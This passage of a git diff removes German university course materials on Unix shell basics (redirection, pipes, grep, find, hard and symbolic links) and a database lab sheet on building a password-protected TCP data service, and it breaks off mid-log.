sind die Daten noch da. - - \smallskip - - \begingroup - \begin{lstlisting}[style=terminal,gobble=10,xleftmargin=-3pt] - cassini/home/peter/bo/2019ws/es/20191002> ¡ls -l¿ - ... - -rw-r--r-- 1 peter peter 1202 Okt 2 13:35 shell-06.txt - drwxr-xr-x 2 peter peter 4096 Okt 2 13:16 test - \end{lstlisting} - \endgroup - \begin{picture}(0,0.5) - \color{red} - \put(2.31,0){\tikz{\draw[-latex,red](0,0)--(0,0.5);}} - \put(0,-0.1){\makebox(0,0)[tl]{Anzahl der ("`harten"') Links - auf diese Datei / dieses Verzeichnis}} - \end{picture} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{grep}: Dateien durchsuchen - \end{itemize} - \begin{lstlisting}[style=terminal,xleftmargin=-3pt] - cassini/home/peter/bo/2019ws/es/20191002> ¡grep gcc *.txt¿ - shell-03.txt: cassini/...> gcc -Wall -O hello.c -o hello - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{find}: Dateien anhand ihrer Eigenschaften suchen - \end{itemize} - -% \small - \begin{lstlisting}[style=terminal] - $ ¡find . -name "*.txt"¿ - ./shell-06.txt - ./shell-03.txt - ./shell-05.txt - ./test.txt - ./test/test.txt - ... - $ ¡find . -name "*.txt" -perm /u+x¿ - ./test2.txt - $ ¡find . -name "*.txt" -perm /u+x -exec ls -l {} \;¿ - -rwxr-xr-x 1 peter peter 6 Okt 2 13:43 ./test2.txt - \end{lstlisting} - -\end{frame} - -\subsection{Ein- und Ausgabeströme} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Standard-Ausgabe in Datei umleiten - \end{itemize} - \begin{lstlisting}[style=terminal] - $ ¡echo "Dies ist ein Test." > test.txt¿ - $ ¡cat test.txt¿ - Dies ist ein Test. - \end{lstlisting} - - \pause - \smallskip - - \begin{itemize} - \item - Standard-Ausgabe an Datei anhängen - \end{itemize} - \begin{lstlisting}[style=terminal] - $ ¡echo "Dies ist noch ein Test." >> test.txt¿ - $ ¡cat test.txt¿ - Dies ist ein Test. - Dies ist noch ein Test. - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Fehler-Ausgabe in Datei umleiten - \end{itemize} - \begin{lstlisting}[style=terminal] - $ ¡cat gibtsnicht.txt > fehler.txt¿ - cat: gibtsnicht.txt: No such file or directory - $ ¡cat fehler.txt¿ - $ ¡cat gibtsnicht.txt 2> fehler.txt¿ - $ ¡cat fehler.txt¿ - cat: gibtsnicht.txt: No such file or directory - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Standard-Eingabe aus Datei lesen - \end{itemize} - \begin{lstlisting}[style=terminal] - $ ¡bc¿ - bc 1.06.95 - Copyright [...] 2006 Free Software Foundation, Inc. - This is free software with ABSOLUTELY NO WARRANTY. - For details type `warranty'. - ¡2 + 2¿ - 4 - $ ¡echo "2 + 2" > test.bc¿ - $ ¡bc < test.bc¿ - 4 - \end{lstlisting} - -\end{frame} - -\subsection{Pipes} - -\begin{frame}[fragile] - - \showsubsection - - Standard-Ausgabe von Programm A\\ - wird zu Standard-Eingabe von Programm B - - \smallskip - - \begin{lstlisting}[style=terminal] - $ ¡echo "2 + 2" | bc¿ - 4 - \end{lstlisting} - - \smallskip - - \textarrow\ sehr mächtiger "`Baukasten"' - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{sed}: \emph{stream editor}\\ - Suchen und Ersetzen (und noch viel mehr) - \end{itemize} - \begin{lstlisting}[style=terminal] - $ ¡echo "Schlimmer geht nimmer." | sed -e 's/nim/im/g'¿ - Schlimmer geht immer. - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{grep}: Standard-Eingabe durchsuchen - \item - \lstinline[style=cmd]{$(...)}: Output in Kommandozeile übernehmen - \end{itemize} - \begin{lstlisting}[style=terminal] - $ ¡ls | grep slides¿ - pgslides.sty - $ ¡ls *.pdf | grep -v logo¿ - es-20191002.pdf - Zeichen_123.pdf - $ ¡ls -l $(ls *.pdf | grep -v logo)¿ - -rw-r--r-- 1 ... 4619138 Okt 8 21:28 es-20191002.pdf - lrwxrwxrwx 1 ... 25 Okt 3 2016 Zeichen_123.pdf -> ... - \end{lstlisting} - -\end{frame} - -\subsection{Verzweigungen und Schleifen} - -\begin{frame}[fragile] - - \showsubsection - - \begin{lstlisting}[style=terminal] - $ ¡if grep Blubb test.txt; then echo "gefunden"; \ - else echo "nicht gefunden"; fi¿ - nicht gefunden - $ ¡for x in foo bar baz; do echo $x; done¿ - foo - bar - baz - \end{lstlisting} - - \pause - \bigskip - - Beispiel: Datei mit einer \lstinline[style=cmd]{while}-Schleife zeilenweise lesen,\\ - Zeilennummen ergänzen und wieder ausgeben: - - \smallskip - - \begin{lstlisting}[style=terminal] - number=0 - cat test.txt \ - | while read line; do - number=$((number + 1)) - echo "Zeile $number: $line" - done - \end{lstlisting} - - \begin{itemize} - \item - \lstinline[style=cmd]{read}: Variable von Standardeingabe lesen - \item - \lstinline[style=cmd]{$((...))}: arithmetischen Ausdruck auswerten - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \textbf{Übungsaufgabe} - - \smallskip - - Schreiben Sie ein Shell-Skript,\\ - das aus einer selbst erstellten Textdatei (z.\,B.\ CSV) Daten extrahiert.\\ - Welche Daten, soll per Parameter angegeben werden. - -% \begin{itemize} -% \item -% Speichern Sie einen Satz Beispieldaten als CSV-Datei (Text). -% \item -% Schreiben Sie ein Shell-Skript, das die CSV-Datei liest, -% \item -% damit irgendetwas macht, z.\,B.\ zwei Spalten vertauscht, -% \item -% und das Ergebnis wieder als sinnvolle Datei abspeichert,\\ -% z.\,B.\ wieder als CSV-Datei, als HTML- oder \LaTeX-Datei, \dots -% \end{itemize} - - \medskip - - Beispiele: Siehe \file{../20231018.p0/dbs-20231018.txt} - - \medskip - - Hinweise: - \begin{itemize} - \item - Parameter in Shell-Skripten: - \lstinline[style=cmd]{$1}, \lstinline[style=cmd]{$2}, \dots - \item - \lstinline[style=cmd]{man cut} - \item - \lstinline[style=cmd]{man head} - \item - \lstinline[style=cmd]{man tail} - \item - Sie dürfen voraussetzen, daß in der Textdatei gespeicherte Strings\\ - bestimmte Zeichen (z.\,B.\ das Trennzeichen) nicht enthalten. - \end{itemize} - - \bigskip - - \textbf{Zusatzaufgabe} - - \smallskip - - Schreiben Sie dasselbe Programm noch einmal in einer beliebigen Sprache, - wobei die in der Textdatei gespeicherten Strings (nahezu) beliebige Zeichen - enthalten dürfen. - (Beispiel: Zwischen Anführungszeichen zählt auch das Trennzeichen - als Bestandteil des Strings.) - -\end{frame} - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \begin{itemize} - \item[1.1] Was sind Datenbanken? - \item[1.2] Was ist Datensicherheit? - \item[1.3] In dieser Lehrveranstaltung - \end{itemize} - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \begin{itemize} - \item[2.1] Grundkonzepte - \item[2.2] Die Kommandozeile: Grundlagen - \color{medgreen} - \item[2.3] Dateisysteme - \item[2.4] Ein- und Ausgabeströme - \item[2.5] Pipes - \item[2.6] Verzweigungen und Schleifen -% \item[\dots] - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\end{document} diff --git a/20231019/dbs-2023ws-p1.pdf b/20231019/dbs-2023ws-p1.pdf deleted file mode 100644 index a651a1fdfeecf25f8d44bdcb3d65e966bbf2a174..0000000000000000000000000000000000000000 Binary files a/20231019/dbs-2023ws-p1.pdf and /dev/null differ diff --git a/20231019/dbs-2023ws-p1.tex b/20231019/dbs-2023ws-p1.tex deleted file mode 100644 index 80b8169934fb12b94c07435a16fa656dff66663d..0000000000000000000000000000000000000000 --- a/20231019/dbs-2023ws-p1.tex +++ /dev/null @@ -1,102 +0,0 @@ -% dbs-2023ws-p1.pdf - Labor Notes on Databases and Information Security -% Copyright (C) 2023 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Versuch 1: Datenbank-Management-System im Selbstbau - -\documentclass[a4paper]{article} - -\usepackage{pgscript} -\usepackage{multicol} -\usepackage{sfmath} - -\sloppy -\pagestyle{empty} -\addtolength{\textheight}{1cm} -\newcommand{\sep}{~$\cdot$~} -\newcommand{\mylicense}{CC BY-SA (Version 4.0) oder GNU GPL (Version 3 oder höher)} - -\begin{document} - - \makebox(0,0.005)[tl]{\includegraphics[scale=0.72]{logo-hochschule-bochum-cvh-text-v2.pdf}}\hfill - \makebox(0,0)[tr]{\includegraphics[scale=0.5]{logo-hochschule-bochum.pdf}} - \par\bigskip\bigskip - \begin{center} - \Large\textbf{Praktikumsversuch 1: Datenbank-Management-System im Selbstbau} - \par\medskip - \normalsize Datenbanken und Datensicherheit\sep - Wintersemester 2023/24\sep - Prof.~Dr.~Peter Gerwinski - \end{center} - - Aufgabe: Schreiben Sie ein Programm, das auf strukturierte Daten zugreift - und diese per TCP/IP kontrolliert zur Verfügung stellt. - - \begin{multicols}{2} - \begin{itemize} - \item - Die strukturierten Daten sollen in Gestalt einer Text-Datei zur Verfügung stehen, - z.\,B.\ einer CSV-Datei. Einschränkungen hinsichtlich der Daten, - z.\,B.\ das Ausschließen bestimmter Zeichen aus Strings, sind erlaubt. - \item - Ihr Programm soll über einem TCP-Port - Befehle zur selektiven Datenabfrage entgegennehmen - und die angeforderten Daten über dieselbe TCP-Verbindung ausliefern. - \item - Das Definieren einer für diese Situation angemessenen Abfragesprache - ist Teil der Praktikumsaufgabe. - \item - Implementieren Sie eine Passwort-Abfrage, - über die sich berechtigte Benutzer Ihres Informationssystems - authentifizieren können. - \item - Zusatzaufgabe 1: Implementieren Sie auch Schreibzugriff auf die Text-Datei. - \item - Zusatzaufgabe 2: Demonstrieren Sie, wie sich die Authentifizerung - durch Mitlesen des Netzwerkverkehrs umgehen läßt. - \item - Zusatzaufgabe 3: Gestalten Sie die Authentifizierung so, daß sie sich - durch Mitlesen des Netzwerkverkehrs nicht mehr umgehen läßt. - \end{itemize} - \end{multicols} - - \strut\hfill\emph{Viel Erfolg!} - - \vfill - - \begingroup - - \small - - \setlength{\leftskip}{3cm} - - Stand: 24.\ Oktober 2023 - - Copyright \copyright\ 2023\quad Peter Gerwinski\\ - Lizenz: \mylicense - - Sie können diese Praktikumsunterlagen einschließlich \LaTeX-Quelltext - herunterladen unter:\\ - \url{https://gitlab.cvh-server.de/pgerwinski/dbs} - - \endgroup - -\end{document} diff --git a/20231019/find-01.txt b/20231019/find-01.txt deleted file mode 100644 index 413ddba72ffd1fa974a34efdbb687b89a3af7a50..0000000000000000000000000000000000000000 --- a/20231019/find-01.txt +++ /dev/null @@ -1,61 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs> find . -name "*.jpg" -./20231005/zentraler-computer.jpg -./20231005/Computergebouw_van_KLM_voor_automatische_boekingsmethode_Corda_in_Amstelveen._,_Bestanddeelnr_923-3365.jpg -./20231005/online-shop.jpg -./20231005/dbms-ohne-computer.jpg -./20231005/Shopping_online_with_bank_card.jpg -./20231005/computer-arbeitsplaetze-lores.jpg -./20231005/online-shop-lores.jpg -./20231005/computer-arbeitsplaetze.jpg -./20231005/zentraler-computer-lores.jpg -./20231005/Ken_Thompson_(sitting)_and_Dennis_Ritchie_at_PDP-11_(2876612463).jpg -./20231005/A_Day_in_the_Life_of_a_Wartime_Housewife-_Everyday_Life_in_London,_England,_1941_D2379.jpg -./20231012/zentraler-computer.jpg -./20231012/Computergebouw_van_KLM_voor_automatische_boekingsmethode_Corda_in_Amstelveen._,_Bestanddeelnr_923-3365.jpg -./20231012/online-shop.jpg -./20231012/dbms-ohne-computer.jpg -./20231012/Shopping_online_with_bank_card.jpg -./20231012/computer-arbeitsplaetze-lores.jpg -./20231012/online-shop-lores.jpg -./20231012/computer-arbeitsplaetze.jpg -./20231012/zentraler-computer-lores.jpg -./20231012/Ken_Thompson_(sitting)_and_Dennis_Ritchie_at_PDP-11_(2876612463).jpg -./20231012/A_Day_in_the_Life_of_a_Wartime_Housewife-_Everyday_Life_in_London,_England,_1941_D2379.jpg -cassini/home/peter/bo/2023ws/dbs> find . -type d -. -./common -./material -./material/Vorlesungen-Felix -./material/Vorlesungen-Felix/Kryptographie -./material/Vorlesungen-Felix/Datenbanken-Teil-1 -./material/Vorlesungen-Felix/IT-Sicherheit -./20231005 -./20231018.p0 -./20231019 -./20231011.p0 -./20231012 -./20231012/test -cassini/home/peter/bo/2023ws/dbs> find . -type l -./20231005/zentraler-computer.jpg -./20231005/online-shop.jpg -./20231005/Zeichen_123.pdf -./20231005/dbms-ohne-computer.jpg -./20231005/pgslides.sty -./20231005/logo-hochschule-bochum-cvh-text-v2.pdf -./20231005/computer-arbeitsplaetze.jpg -./20231005/logo-hochschule-bochum.pdf -./20231019/test-03.txt -./20231019/Zeichen_123.pdf -./20231019/pgslides.sty -./20231019/logo-hochschule-bochum-cvh-text-v2.pdf -./20231019/logo-hochschule-bochum.pdf -./20231012/zentraler-computer.jpg -./20231012/online-shop.jpg -./20231012/Zeichen_123.pdf -./20231012/dbms-ohne-computer.jpg -./20231012/pgslides.sty -./20231012/logo-hochschule-bochum-cvh-text-v2.pdf -./20231012/computer-arbeitsplaetze.jpg -./20231012/logo-hochschule-bochum.pdf -./.git -cassini/home/peter/bo/2023ws/dbs> diff --git a/20231019/forum.txt b/20231019/forum.txt deleted file mode 100644 index 5419ffeb7359f14797ae24954da0e5155b4cf5d8..0000000000000000000000000000000000000000 --- a/20231019/forum.txt +++ /dev/null @@ -1,5 +0,0 @@ --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt --rw-r--r-- 1 peter peter 33 19. Okt 12:21 test-04.txt --rw-r--r-- 1 peter peter 56 19. Okt 12:41 test-05.txt -cat: test-03.txt: Datei oder Verzeichnis nicht gefunden diff --git a/20231019/grep-01.txt b/20231019/grep-01.txt deleted file mode 100644 index d5c041407c3f62c60a78ab037dfb332353f8277f..0000000000000000000000000000000000000000 --- a/20231019/grep-01.txt +++ /dev/null @@ -1,17 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> ls test-0*.txt -test-01.txt test-02.txt test-03.txt test-04.txt -cassini/home/peter/bo/2023ws/dbs/20231019> grep schön test-0*.txt -cassini/home/peter/bo/2023ws/dbs/20231019> grep Schön test-0*.txt -test-01.txt:Schön, oder? -test-03.txt:Schön, oder? -test-04.txt:Schön, oder? -cassini/home/peter/bo/2023ws/dbs/20231019> grep [Ss]chön test-0*.txt -test-01.txt:Schön, oder? -test-03.txt:Schön, oder? -test-04.txt:Schön, oder? -cassini/home/peter/bo/2023ws/dbs/20231019> grep "\<o[a-z]r\>" test-0*.txt -cassini/home/peter/bo/2023ws/dbs/20231019> grep "\<o[a-z]*r\>" test-0*.txt -test-01.txt:Schön, oder? -test-03.txt:Schön, oder? -test-04.txt:Schön, oder? -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/hello-01.c b/20231019/hello-01.c deleted file mode 100644 index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000 --- a/20231019/hello-01.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Hello, world!\n"); - return 0; -} diff --git a/20231019/hello-02 b/20231019/hello-02 deleted file mode 100755 index 496af8dffb429e184f3bb536ad37c3eab61cd4b6..0000000000000000000000000000000000000000 --- a/20231019/hello-02 +++ /dev/null @@ -1 +0,0 @@ -echo "Hello, world!" diff --git a/20231019/hello-03 b/20231019/hello-03 deleted file mode 100755 index 9f3f770bfcccad3d62d2e2d08b077469ef3722fa..0000000000000000000000000000000000000000 --- a/20231019/hello-03 +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -echo "Hello, world!" diff --git a/20231019/if-01.txt b/20231019/if-01.txt deleted file mode 100644 index 4454409247794f22815867912eada5962996a4f7..0000000000000000000000000000000000000000 --- a/20231019/if-01.txt +++ /dev/null @@ -1,19 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test*.txt --rw-r--r-- 2 peter peter 33 19. Okt 12:21 test-01.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt --rw-r--r-- 2 peter peter 33 19. Okt 12:21 test-04.txt --rw-r--r-- 1 peter peter 56 19. Okt 12:41 test-05.txt -cassini/home/peter/bo/2023ws/dbs/20231019> grep -i schön test-0*.txt -test-01.txt:Schön, oder? -test-03.txt:Schön, oder? -test-04.txt:Schön, oder? -cassini/home/peter/bo/2023ws/dbs/20231019> grep -i schon test-0*.txt -test-05.txt:Dies ist schon wieder ein Test. -cassini/home/peter/bo/2023ws/dbs/20231019> grep -i schnöd test-0*.txt -cassini/home/peter/bo/2023ws/dbs/20231019> if grep -i schon test-0*.txt; then echo "gefunden"; else echo "nicht gefunden"; fi -test-05.txt:Dies ist schon wieder ein Test. -gefunden -cassini/home/peter/bo/2023ws/dbs/20231019> if grep -i schnöd test-0*.txt; then echo "gefunden"; else echo "nicht gefunden"; fi -nicht gefunden -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/if-02.txt b/20231019/if-02.txt deleted file mode 100644 index f1a22d5b5ece9716578aff7907031d5cf1095d94..0000000000000000000000000000000000000000 --- a/20231019/if-02.txt +++ /dev/null @@ -1,9 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l /bin/[ --rwxr-xr-x 1 root root 68496 20. Sep 2022 '/bin/[' -cassini/home/peter/bo/2023ws/dbs/20231019> x=42 -cassini/home/peter/bo/2023ws/dbs/20231019> echo $x -42 -cassini/home/peter/bo/2023ws/dbs/20231019> if [ "$x" = "42" ]; then echo "Antwort"; fi -Antwort -cassini/home/peter/bo/2023ws/dbs/20231019> if [ "$x" = "23" ]; then echo "Antwort"; fi -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/links-01.txt b/20231019/links-01.txt deleted file mode 100644 index 99d9f9693e59742d8d4a585a97d871b2491cc485..0000000000000000000000000000000000000000 --- a/20231019/links-01.txt +++ /dev/null @@ -1,25 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test-01.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-01.txt -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-01.txt -Dies ist ein Test. -cassini/home/peter/bo/2023ws/dbs/20231019> cp -pi test-01.txt test-02.txt -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test-*.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-01.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -cassini/home/peter/bo/2023ws/dbs/20231019> ln -s test-01.txt test-03.txt -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test-*.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-01.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-03.txt -Dies ist ein Test. -cassini/home/peter/bo/2023ws/dbs/20231019> rm test-01.txt -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-03.txt -cat: test-03.txt: Datei oder Verzeichnis nicht gefunden -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test-*.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt -cassini/home/peter/bo/2023ws/dbs/20231019> cp -pi test-02.txt test-01.txt -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-03.txt -Dies ist ein Test. -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/links-02.txt b/20231019/links-02.txt deleted file mode 100644 index f5b6d0bc0378ee0776a23f039df59ac144ffd679..0000000000000000000000000000000000000000 --- a/20231019/links-02.txt +++ /dev/null @@ -1,19 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test-*.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-01.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt -cassini/home/peter/bo/2023ws/dbs/20231019> ln test-01.txt test-04.txt -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test-*.txt --rw-r--r-- 2 peter peter 19 19. Okt 12:13 test-01.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt --rw-r--r-- 2 peter peter 19 19. Okt 12:13 test-04.txt -cassini/home/peter/bo/2023ws/dbs/20231019> rm test-01.txt -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-03.txt -cat: test-03.txt: Datei oder Verzeichnis nicht gefunden -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-04.txt -Dies ist ein Test. -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test-*.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-04.txt diff --git a/20231019/links-03.txt b/20231019/links-03.txt deleted file mode 100644 index ce1a69d0b9f461e91da879850f1827616e88916c..0000000000000000000000000000000000000000 --- a/20231019/links-03.txt +++ /dev/null @@ -1,30 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test-*.txt --rw-r--r-- 2 peter peter 19 19. Okt 12:13 test-01.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt --rw-r--r-- 2 peter peter 19 19. Okt 12:13 test-04.txt -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-01.txt -Dies ist ein Test. -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-04.txt -Dies ist ein Test. -cassini/home/peter/bo/2023ws/dbs/20231019> echo "Schön, oder?" >> test-01.txt -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-01.txt -Dies ist ein Test. -Schön, oder? -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-04.txt -Dies ist ein Test. -Schön, oder? -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-03.txt -Dies ist ein Test. -Schön, oder? -cassini/home/peter/bo/2023ws/dbs/20231019> rm test-01.txt -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-03.txt -cat: test-03.txt: Datei oder Verzeichnis nicht gefunden -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-04.txt -Dies ist ein Test. -Schön, oder? -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test-*.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt --rw-r--r-- 1 peter peter 33 19. Okt 12:21 test-04.txt -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/links-04.txt b/20231019/links-04.txt deleted file mode 100644 index b69a39fa68c8c66dc918fbb4e596f6d8144933f6..0000000000000000000000000000000000000000 --- a/20231019/links-04.txt +++ /dev/null @@ -1,9 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> which vi -/usr/bin/vi -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l /usr/bin/vi -lrwxrwxrwx 1 root root 20 22. Dez 2012 /usr/bin/vi -> /etc/alternatives/vi -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l /etc/alternatives/vi -lrwxrwxrwx 1 root root 18 6. Okt 11:50 /etc/alternatives/vi -> /usr/bin/vim.basic -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l /usr/bin/vim.basic --rwxr-xr-x 1 root root 3646968 4. Mai 12:24 /usr/bin/vim.basic -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/links-05.txt b/20231019/links-05.txt deleted file mode 100644 index fa2fe06456e083665dc9ef8f3dc2c75bcea271b4..0000000000000000000000000000000000000000 --- a/20231019/links-05.txt +++ /dev/null @@ -1,20 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test*.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt --rw-r--r-- 1 peter peter 33 19. Okt 12:21 test-04.txt -cassini/home/peter/bo/2023ws/dbs/20231019> echo "Hallo, Leute!" >> test-01.txt -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test*.txt --rw-r--r-- 1 peter peter 14 19. Okt 12:26 test-01.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt --rw-r--r-- 1 peter peter 33 19. Okt 12:21 test-04.txt -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-03.txt -Hallo, Leute! -cassini/home/peter/bo/2023ws/dbs/20231019> echo "Ebenfalls guten Tag!" >> test-03.txt -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-03.txt -Hallo, Leute! -Ebenfalls guten Tag! -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-01.txt -Hallo, Leute! -Ebenfalls guten Tag! -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/links-06.txt b/20231019/links-06.txt deleted file mode 100644 index edc066c7725456c35dd099a41594a00e6842cc26..0000000000000000000000000000000000000000 --- a/20231019/links-06.txt +++ /dev/null @@ -1,12 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test*.txt --rw-r--r-- 1 peter peter 35 19. Okt 12:27 test-01.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt --rw-r--r-- 1 peter peter 33 19. Okt 12:21 test-04.txt -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-01.txt -Hallo, Leute! -Ebenfalls guten Tag! -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-04.txt -Dies ist ein Test. -Schön, oder? -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/links-07.txt b/20231019/links-07.txt deleted file mode 100644 index ccae7423223c8921facb17cb333db24412cdcb39..0000000000000000000000000000000000000000 --- a/20231019/links-07.txt +++ /dev/null @@ -1,20 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test*.txt --rw-r--r-- 1 peter peter 35 19. Okt 12:27 test-01.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt --rw-r--r-- 1 peter peter 33 19. Okt 12:21 test-04.txt -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-01.txt -Hallo, Leute! -Ebenfalls guten Tag! -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-04.txt -Dies ist ein Test. -Schön, oder? -cassini/home/peter/bo/2023ws/dbs/20231019> ln test-04.txt test-01.txt -ln: Die harte Verknüpfung 'test-01.txt' konnte nicht angelegt werden: Die Datei existiert bereits -cassini/home/peter/bo/2023ws/dbs/20231019> ln -f test-04.txt test-01.txt -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test*.txt --rw-r--r-- 2 peter peter 33 19. Okt 12:21 test-01.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt --rw-r--r-- 2 peter peter 33 19. Okt 12:21 test-04.txt -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/links-08.txt b/20231019/links-08.txt deleted file mode 100644 index 4050b321f8fd4ddb16438f12f3843478f54893f4..0000000000000000000000000000000000000000 --- a/20231019/links-08.txt +++ /dev/null @@ -1,11 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test*.txt --rw-r--r-- 2 peter peter 33 19. Okt 12:21 test-01.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 